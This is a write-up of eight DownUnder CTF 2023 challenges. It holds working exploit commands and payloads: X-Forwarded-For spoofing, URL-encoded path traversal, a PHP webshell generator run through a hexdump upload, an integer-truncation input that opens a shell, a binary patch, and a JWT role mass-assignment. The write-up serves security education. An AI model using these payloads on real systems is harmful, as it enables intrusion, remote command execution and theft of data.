Introduction

DownUnder CTF was an online jeopardy CTF targeted at Australian secondary and tertiary students but open to the rest of the world also.

Table of contents

Challenge Category Points
proxed Beginner Web 100
static file server Beginner Web 100
xxd-server Beginner Web 100
blinkybill Beginner Misc 100
downunderflow Beginner Pwn 100
All Father’s Wisdom Beginner Rev 100
Actually Proxed Web 100
grades_grades_grades Web 100

Write-up

Beginner Web

proxed

Cool haxxorz only

We were given the code for a webserver written in Go:

package main

import (
  "flag"
  "fmt"
  "log"
  "net/http"
  "os"
  "strings"
)

var (
  port = flag.Int("port", 8081, "The port to listen on")
)

func main() {

  flag.Parse()

  http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    xff := r.Header.Values("X-Forwarded-For")

    ip := strings.Split(r.RemoteAddr, ":")[0]

    if xff != nil {
      ips := strings.Split(xff[len(xff)-1], ", ")
      ip = ips[len(ips)-1]
      ip = strings.TrimSpace(ip)
    }

    if ip != "31.33.33.7" {
      message := fmt.Sprintf("untrusted IP: %s", ip)
      http.Error(w, message, http.StatusForbidden)
      return
    } else {
      w.Write([]byte(os.Getenv("FLAG")))
    }
  })

  log.Printf("Listening on port %d", *port)
  log.Fatal(http.ListenAndServe(fmt.Sprintf(":%d", *port), nil))
}

By analysing the code above we see that we can get the flag by passing a X-Forwarded-For: 31.33.33.7 HTTP header on the request.

[morim@sucurilabs]$ curl -H "X-Forwarded-For: 31.33.33.7"  http://proxed.duc.tf:30019/
DUCTF{17_533m5_w3_f0rg07_70_pr0x}

Flag: DUCTF{17_533m5_w3_f0rg07_70_pr0x}

static file server

Here’s a simple Python app that lets you view some files on the server.

On this one we were given the code for a webservice written in Python:

from aiohttp import web

async def index(request):
    return web.Response(body='''
        <header><h1>static file server</h1></header>
        Here are some files:
        <ul>
            <li><img src="/files/ductf.png"></img></li>
            <li><a href="/files/not_the_flag.txt">not the flag</a></li>
        </ul>
    ''', content_type='text/html', status=200)

app = web.Application()
app.add_routes([
    web.get('/', index),

    # this is handled by https://github.com/aio-libs/aiohttp/blob/v3.8.5/aiohttp/web_urldispatcher.py#L654-L690
    web.static('/files', './files', follow_symlinks=True)
])
web.run_app(app)

By checking the request handling code given in a comment, we see that whatever is passed after the /files/ request path is treated as the filename.
There is also no input validation whatsoever so its seems that we have a Path Traversel 1 vulnerability at hand!
We can get the flag by requesting the following url:

[morim@sucurilabs]$ curl "https://web-static-file-server-9af22c2b5640.2023.ductf.dev/files/..%2F..%2F..%2F..%2F/flag.txt"
DUCTF{../../../p4th/tr4v3rsal/as/a/s3rv1c3}

Flag: DUCTF{../../../p4th/tr4v3rsal/as/a/s3rv1c3}

xxd-server

I wrote a little app that allows you to hex dump files over the internet.

Once again we start by analysing the source code given in the challenge:

<?php

// Emulate the behavior of command line 'xxd' tool
function xxd(string $s): string {
  $out = '';
  $ctr = 0;
  foreach (str_split($s, 16) as $v) {
    $hex_string = implode(' ', str_split(bin2hex($v), 4));
    $ascii_string = '';
    foreach (str_split($v) as $c) {
      $ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
    }
    $out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
    $ctr += 16;
  }
  return $out;
}

$message = '';

// Is there an upload?
if (isset($_FILES['file-upload'])) {
  $upload_dir = 'uploads/' . bin2hex(random_bytes(8));
  $upload_path = $upload_dir . '/' . basename($_FILES['file-upload']['name']);
  mkdir($upload_dir);
  $upload_contents = xxd(file_get_contents($_FILES['file-upload']['tmp_name']));
  if (file_put_contents($upload_path, $upload_contents)) {
    $message = 'Your file has been uploaded. Click <a href="' . htmlspecialchars($upload_path) . '">here</a> to view';
  } else {
      $message = 'File upload failed.';
  }
}

?>

At first sight we already can identify that this code as an Unrestricted File Upload 2 and on the xxd() function that our file is as an xxd like hexdump. Which means that we could pass a php file with the tags <?= ?> and it will be executed.
I wrote the script below to generate us PHP code that would be execute on the ASCII part of the hexdump:

payload = """if(isset($_REQUEST['cmd'])){echo '<pre>';$cmd = ($_REQUEST['cmd']);system($cmd);echo '</pre>';die;}"""
print("<?php $a=''; ?>")
for letter in payload:
  print(f"<?php $a.=\"{letter}\" /*")
  print("*/; ?>        ")

print("<?= eval($a); ?> ")

We upload the php code generated by our script and we got ourselves a webshell. With the webshell we just uploaded we can get the flag making the request below to the webserver:

[morim@sucurilabs]$ curl -s 'https://web-xxd-server-2680de9c070f.2023.ductf.dev/uploads/509549a078c90833/shell.php?cmd=cat%20/flag' | grep DUCTF
00000c70: 3c3f 3d20 6576 616c 2824 6129 3b20 3f3e  <pre>DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}</pre>

I must tell you that this was way overengineered and could be solved by simply uploading the next payload:

<?=readfile(/****/'/flag')?>

Flag: DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}

Beginner Misc

blinkybill

Hey hey it’s Blinky Bill!

Looks like we got ourselves a stegonografy challenge. We a given a .wav file on this one. We are going to open the file with Sonic Visualiser and press Shift+G (or go to Layer > Add Spectrogram > All channels Mixed on the toolbar) to add a spectrogram layer: Blinkybill Spectrogram

We found some morse code hidden on the spectrogram to get the flag we can use CyberChef with this recipe to get the flag: Blinkybill Morse

Flag: DUCTF{BRINGBACKTHETREES}

Beginner Pwn

downunderflow

It’s important to see things from different perspectives

On this pwn challenge we were given the C source code below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define USERNAME_LEN 6
#define NUM_USERS 8
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };

void init() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}

int read_int_lower_than(int bound) {
    int x;
    scanf("%d", &x);
    if(x >= bound) {
        puts("Invalid input!");
        exit(1);
    }
    return x;
}

int main() {
    init();

    printf("Select user to log in as: ");
    unsigned short idx = read_int_lower_than(NUM_USERS - 1);
    printf("Logging in as %s\n", logins[idx]);
    if(strncmp(logins[idx], "admin", 5) == 0) {
        puts("Welcome admin.");
        system("/bin/sh");
    } else {
        system("/bin/date");
    }
}

At first glance we can see that we need login as admin to get a shell on the server. We can pass a number to the program but if its greater or equal to 7 it is considered invalid input else its returned and used as an index to the logins array. With closer examination we can also notice that the read_int_lower_than(NUM_USER - 1) function returns a int but it’s converted to an unsigned short. Since the int value is of greater size than the unsigned short primitive it seems we have a Numeric Truncation Error 34 that can be abused to access the admin user in the logins array.
So passing the value -2147483641 to the read_int_lower_than(NUM_USER - 1) function we can abuse the error mentioned above to give us access to the admin user. This works because the bit value of -2147483641 in complement of 2 binary is 10000000000000000000000000000111 and it will be truncated to the 16 bit value 0000000000000111 on the unsigned short idx variable which represents the decimal value 7 and is exactly what we need to login as admin and get a shell. Using the command below will get us the flag:

[morim@sucurilabs]$ echo -e "-2147483641\ncat flag.txt\nexit" | nc 2023.ductf.dev 30025
Select user to log in as: Logging in as admin
Welcome admin.
DUCTF{-65529_==_7_(mod_65536)}

Flag: DUCTF{-65529_==7(mod_65536)}

Beginner Rev

All Father’s Wisdom

We found this binary in the backroom, its been marked as “The All Fathers Wisdom” - See hex for further details. Not sure if its just old and hex should be text, or they mean the literal hex.
Anyway can you get this ‘wisdom’ out of the binary for us?

On this reverse engineering challenge we are given an ELF binary. So we jump right in to ghidra to analyse its contents: Main Function
Print flag Function
On the first image we can see that the program exits with the signal 0 right before calling the print_flag() which is the function that’s decompiled on the second image. We have to aproaches to solve this challenge:

  1. Patch the binary to skip the os.exit(0) function call and make it call the function print_flag().
  2. Decode the array of hex values with the XOR key 0x11 a get the flag that way.

I did choose aproach number one to solve this challenge. By patching NOP instructions where the os.exit(0) would have been called we can skip it and call print_flag() right off the bat: NOP patch

Then we proceed to run the patched binary and get our flag:

[morim@sucurilabs]$ ./the-all-fathers-wisdom-patched.elf | xxd -r -p && echo
DUCTF{Od1n_1S-N0t_C}

Flag: DUCTF{Od1n_1S-N0t_C}

Web

Actually proxed

Still cool haxxorz only!!! Except this time I added in a reverse proxy for extra security. Nginx and the standard library proxy are waaaayyy too slow (amateurs). So I wrote my own :D

This is the part 2 of the proxed beginners web challenge. We are given the GoLang source bellow:

package main

import (
    "bufio"
    "bytes"
    "flag"
    "fmt"
    "io"
    "log"
    "net"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    targetUrlFlag := flag.String("target", "http://localhost:8081", "Target URL")
    port := flag.Int("port", 8080, "The port to listen on")
    flag.Parse()

    targetUrl, err := url.Parse(*targetUrlFlag)
    if err != nil {
        log.Fatalf("Error parsing target URL: %s", err)
    }

    ln, err := net.Listen("tcp", fmt.Sprintf(":%d", *port))
    log.Printf("Listening on port %d\n", *port)
    if err != nil {
        log.Fatalf("Error listening: %s", err)
    }
    defer ln.Close()

    for {
        conn, err := ln.Accept()
        if err != nil {
            log.Printf("Error accepting connection: %s", err)
            continue
        }

        go func() {
            defer conn.Close()

            scanner := bufio.NewScanner(conn)
            var rawRequest bytes.Buffer
            for scanner.Scan() {
                line := scanner.Text()
                if line == "" {
                    break
                }
                fmt.Fprintf(&rawRequest, "%s\r\n", line)
            }
            if err := scanner.Err(); err != nil {
                log.Printf("Error reading request: %s", err)
                return
            }

            clientIP := strings.Split(conn.RemoteAddr().String(), ":")[0]

            request, err := parseRequest(rawRequest.Bytes(), clientIP, targetUrl.Host)
            if err != nil {
                log.Printf("Error parsing request: %s", err)
                return
            }

            client := http.Client{}
            resp, err := client.Do(request)
            if err != nil {
                log.Printf("Error proxying request: %s", err)
                return
            }
            defer resp.Body.Close()

            // Write the response to the connection
            writer := bufio.NewWriter(conn)
            resp.Write(writer)
            writer.Flush()
        }()
    }
}

func parseRequest(raw []byte, clientIP, targetHost string) (*http.Request, error) {
    var method, path, version string
    headers := make([][]string, 0)
    reader := bytes.NewReader(raw)
    scanner := bufio.NewScanner(reader)
    scanner.Scan()
    fmt.Sscanf(scanner.Text(), "%s %s %s", &method, &path, &version)

    for scanner.Scan() {
        line := scanner.Text()
        if line == "" {
            break
        }
        parts := strings.SplitN(line, ":", 2)
        if len(parts) == 2 {
            headers = append(headers, []string{strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1])})
        }
    }

    for i, v := range headers {
        if strings.ToLower(v[0]) == "x-forwarded-for" {
            headers[i][1] = fmt.Sprintf("%s, %s", v[1], clientIP)
            break
        }
    }

    headerMap := make(map[string][]string)
    for _, v := range headers {
        value := headerMap[v[0]]

        if value != nil {
            value = append(value, v[1])
        } else {
            value = []string{v[1]}
        }

        headerMap[v[0]] = value
    }

    request := &http.Request{
        Method:        method,
        URL:           &url.URL{Scheme: "http", Host: targetHost, Path: path},
        Proto:         version,
        ProtoMajor:    1,
        ProtoMinor:    1,
        Header:        headerMap,
        Body:          io.NopCloser(reader),
        ContentLength: int64(reader.Len()),
    }
    return request, nil
}

By analysing the code above we can notice that if there is a “X-Forwarded-For” HTTP header it will be replaced with the client’s IP but there’s a catch!
If we send two “X-Forwarded-For” headers only the first one will be replaced and the second one will override the first one and this will allow us to capture the flag:

[morim@sucurilabs]$ curl -H "X-Forwarded-For: 31.33.33.7" -H "X-Forwarded-For: 31.33.33.7" http://actually.proxed.duc.tf:31337
DUCTF{y0ur_c0d3_15_n07_b3773r_7h4n_7h3_574nd4rd_l1b}

Flag: DUCTF{y0ur_c0d3_15_n07_b3773r_7h4n_7h3_574nd4rd_l1b}

grades_grades_grades

Sign up and see those grades :D! How well did you do this year’s subject?

We were given a Flask web app and its source code. So we will start by exploring the app and the only thing we can do is signup via a web form: Sign Up Form
We’ll have a look at the code used on the signup form to check if there is something we can abuse to get the flag:

# routes.py
...
@api.route('/signup', methods=('POST', 'GET'))
def signup():

    # make sure user isn't authenticated
    if is_teacher_role():
        return render_template('public.html', is_auth=True, is_teacher_role=True)
    elif is_authenticated():
        return render_template('public.html', is_auth=True)

    # get form data
    if request.method == 'POST':
        jwt_data = request.form.to_dict()
        jwt_cookie = current_app.auth.create_token(jwt_data)
        if is_teacher_role():
            response = make_response(redirect(url_for('api.index', is_auth=True, is_teacher_role=True)))
        else:
            response = make_response(redirect(url_for('api.index', is_auth=True)))

        response.set_cookie('auth_token', jwt_cookie, httponly=True)
        return response

    return render_template('signup.html')
...
@api.route('/grades_flag', methods=('GET',))
@requires_teacher
def flag():
    return render_template('flag.html', flag="FAKE{real_flag_is_on_the_server}", is_auth=True, is_teacher_role=True)
...
#auth.py
...
def create_token(data):
    token = jwt.encode(data, SECRET_KEY, algorithm='HS256')
    return token

def token_value(token):
    decoded_token = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
    return decoded_token['stu_num'], decoded_token['stu_email'], decoded_token.get('is_teacher', False)

def decode_token(token):
    try:
        return jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
    except jwt.ExpiredSignatureError:
        return None

def is_teacher_role():
    # if user isn't authed at all
    if 'auth_token' not in request.cookies:
        return False
    token = request.cookies.get('auth_token')
    try:
        data = decode_token(token)
        if data.get('is_teacher', False):
            return True
    except jwt.DecodeError:
        return False
    return False 
...

After having a look at the code above we can see that the /signup route calls the current_app.auth.create_token(jwt_data) where jwt is the form values we send on the request. To get the Teacher role a signup as a teacher we need to pass the is_teacher parameters with the value 1:

[morim@sucurilabs]$ curl -v -X POST -d"stu_email=a" -d"stu_num=a" -d"is_teacher=1"  http://localhost:5000/signup
*   Trying [::1]:5000...
* Connected to localhost (::1) port 5000
> POST /signup HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/8.3.0
> Accept: */*
> Content-Length: 34
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 302 FOUND
< Server: Werkzeug/2.3.7 Python/3.8.18
< Date: Thu, 14 Sep 2023 23:04:15 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 215
< Location: /?is_auth=True
< Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdHVfZW1haWwiOiJhIiwic3R1X251bSI6ImEiLCJpc190ZWFjaGVyIjoiMSJ9.XFFequljOrJPgQRjYDFlSLYDTvQ9ql-h3BkXxPyD9TY; HttpOnly; Path=/
< Connection: close
< 
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/?is_auth=True">/?is_auth=True</a>. If not, click the link.
* Closing connection
[morim@sucurilabs]$ curl -s -H "Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdHVfZW1haWwiOiJhIiwic3R1X251bSI6ImEiLCJpc190ZWFjaGVyIjoiMSJ9.XFFequljOrJPgQRjYDFlSLYDTvQ9ql-h3BkXxPyD9TY; HttpOnly; Path=/" http://localhost:5000/grades_flag | grep DUCTF
                    <td>DUCTF{Y0u_Kn0W_M4Ss_A5s1GnM3Nt_c890ne89c3}</td>

Flag: DUCTF{Y0u_Kn0W_M4Ss_A5s1GnM3Nt_c890ne89c3}


  1. https://cwe.mitre.org/data/definitions/22.html ↩︎

  2. https://cwe.mitre.org/data/definitions/434.html ↩︎

  3. https://cwe.mitre.org/data/definitions/197.html ↩︎

  4. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities, 1st Edition, Chapter 6 - Truncation, Listing 6-16 ↩︎